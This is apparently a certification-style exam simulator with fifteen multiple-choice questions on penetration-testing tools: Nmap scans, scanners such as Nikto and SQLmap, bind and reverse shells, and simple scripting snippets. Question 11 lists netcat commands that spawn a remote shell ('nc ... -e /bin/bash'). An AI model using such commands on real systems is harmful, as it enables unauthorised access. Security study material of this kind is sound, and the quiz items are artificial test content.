Exam simulator: Tools and Code Analysis

Question 1 of 15

1. Question

You are in charge of documenting all the running services on your system with IP 1.2.3.4 by doing a TCP connect scan. You decide to use Nmap to complete the task. Which of the following commands should you type to identify the services running on your system?

nmap -sV 1.2.3.4
nmap -sT 1.2.3.4
nmap -O 1.2.3.4
nmap -p 1.2.3.4

Question 2 of 15

2. Question

You have been hired to perform a penetration test for the Acme Corporation. The first task is to identify any system that has File Transfer Protocol services running. What command would you use to complete the task?

nmap -s 192.168.0.0/24 -p 21
nmap -s 192.168.0.0/24 -p 25
nmap -s 192.168.0.0/24 -p 110
nmap -s 192.168.0.0/24 -p 54

Question 3 of 15

3. Question

You have been hired to perform a penetration test for the Acme Corporation. As part of the process, you are using Nmap to discover systems on the network. After discovering the systems and the services on the network, you would like to identify the OS that is being used by the system with a network IP address of 192.168.1.2. Which of the following command should you use?

nmap -s 192.168.1.2 -O
nmap -s 191.168.1.2 -O
nmap -sT 192.168.1.2
nmap -s 192.168.1.2 -operating

Question 4 of 15

4. Question

Which of the following commands provide the most reliable and accurate port scan results on the network with an IP address of 55.56.57.0/24?

nmap -T 55.56.57.0/24
nmap -sT 55.56.57.1
nmap -sT 55.56.57.0/24
nmap -sT 55.56.57.0/23

Question 5 of 15

5. Question

Which of the following statements describe the difference between Passive reconnaissance and Active reconnaissance?

Active reconnaissance involves discovering public information available on the Internet about a target, while Passive reconnaissance involves engaging with the target’s systems to discover information such as IP addresses and Nameservers
Passive reconnaissance involves discovering public information available on the Internet about a target, while Active reconnaissance involves engaging with the target’s systems to discover information such as email addresses and contact names
Passive reconnaissance involves discovering public information available on the Internet about a target, while Active reconnaissance involves engaging with the target’s systems to discover information such as IP addresses and Nameservers
Active reconnaissance involves discovering public information available on the Internet about a target, while Passive reconnaissance involves engaging with the target’s systems to discover information such as email addresses and contact names

Question 6 of 15

6. Question

Given the following tools, which one would you use in order to perform a vulnerability scan of a system on the network?

Nikto
OpenVAS
Hashcat
Medusa

Question 7 of 15

7. Question

You have been hired to perform a penetration test against the web servers of the Acme Corporation. Which of the following tools should you use to determine if the web servers are vulnerable?

Aircrack-ng
Nikto
Kismet
Hydra

Question 8 of 15

8. Question

Which of the following tools would you use to test web applications against SQL injection attacks?

BeEF
SonarQube
WinDBG
SQLmap

Question 9 of 15

9. Question

You are performing a penetration test for the Acme Corporation and the wireless network is in the scope of the network assessment. What tool would you use to determine if the Wi-Fi network can be easily cracked?

Aircrack-ng
Peach
Findbugs
Recon-ng

Question 10 of 15

10. Question

As a penetration tester, you want to be sure to assess the applications running on mobile devices. Which of the following tools would you use to assess the security on mobile devices?

Drozer
PowerSploit
Impacket
Wifite

Question 11 of 15

11. Question

Which of the following commands would you use to set up a bind shell on a Linux system whose IP address is 1.2.3.4?

nc 1.2.3.4 4444 -e /bin/bash
nc 1.2.3.4
bs 1.2.3.4 4444 -e /bin/bash
bs 1.2.3.4

Question 12 of 15

12. Question

Which of the following statements are true regarding the reverse shell and bind shell? (Choose all that apply.)

Bind shells have the listener running on the target and the attacker connects to the listener in order to gain a remote shell
Reverse shells have the listener running on the target and the attacker connects to the listener in order to gain a remote shell
Bind shells have the listener running on the attacker and the target connects to the attacker with a shell
Reverse shells have the listener running on the attacker and the target connects to the attacker with a shell
Reverse shells remove the need for a listener on the target machine

Question 13 of 15

13. Question

What statement in Ruby would you use to store the command “nmap -sT 1.2.3.0/24” in the variable called cmd and print the variable on the screen?

_cmd = "nmap -sT 1.2.3.0/24" 

puts "#{_cmd}"

cmd = "nmap -sT 1.2.3.0/24" 

puts "#{cmd}"

_cmd = "nmap -sT 1.3.2.0/24" 

puts "#{_cmd}"

_cmd = "nmap -sT 1.2.3.0/24" 

display "#{_cmd}"

Question 14 of 15

14. Question

The following code snippet is written in?

import math
x = 4
n = 3
power = x ** n
print("%d to the power %d is %d" % (x,n,power))
power = pow(x,n)
print("%d to the power %d is %d" % (x,n,power))

Ruby
ReactJS
Python
Bash

Question 15 of 15

15. Question

You want to store multiple pieces of information in an array and print the first element of the array in a Bash shell script. Which of the following snippet codes would you type?

ip_addresses=("192.168.1.1" "192.168.1.2" "192.168.1.3")

echo ${ip_addresses[0]}

ip_addresses=("192.168.1.1" "192.168.1.2" "192.168.1.3")

echo ${ip_addresses[1]}

ip_addresses=("192.168.1.1" "192.168.1.2" "192.168.1.3")

echo ${ip_addresses[2]}

ip_addresses=("192.168.1.1" "192.168.1.2" "192.168.1.3")

echo ${ip_addresses[3]}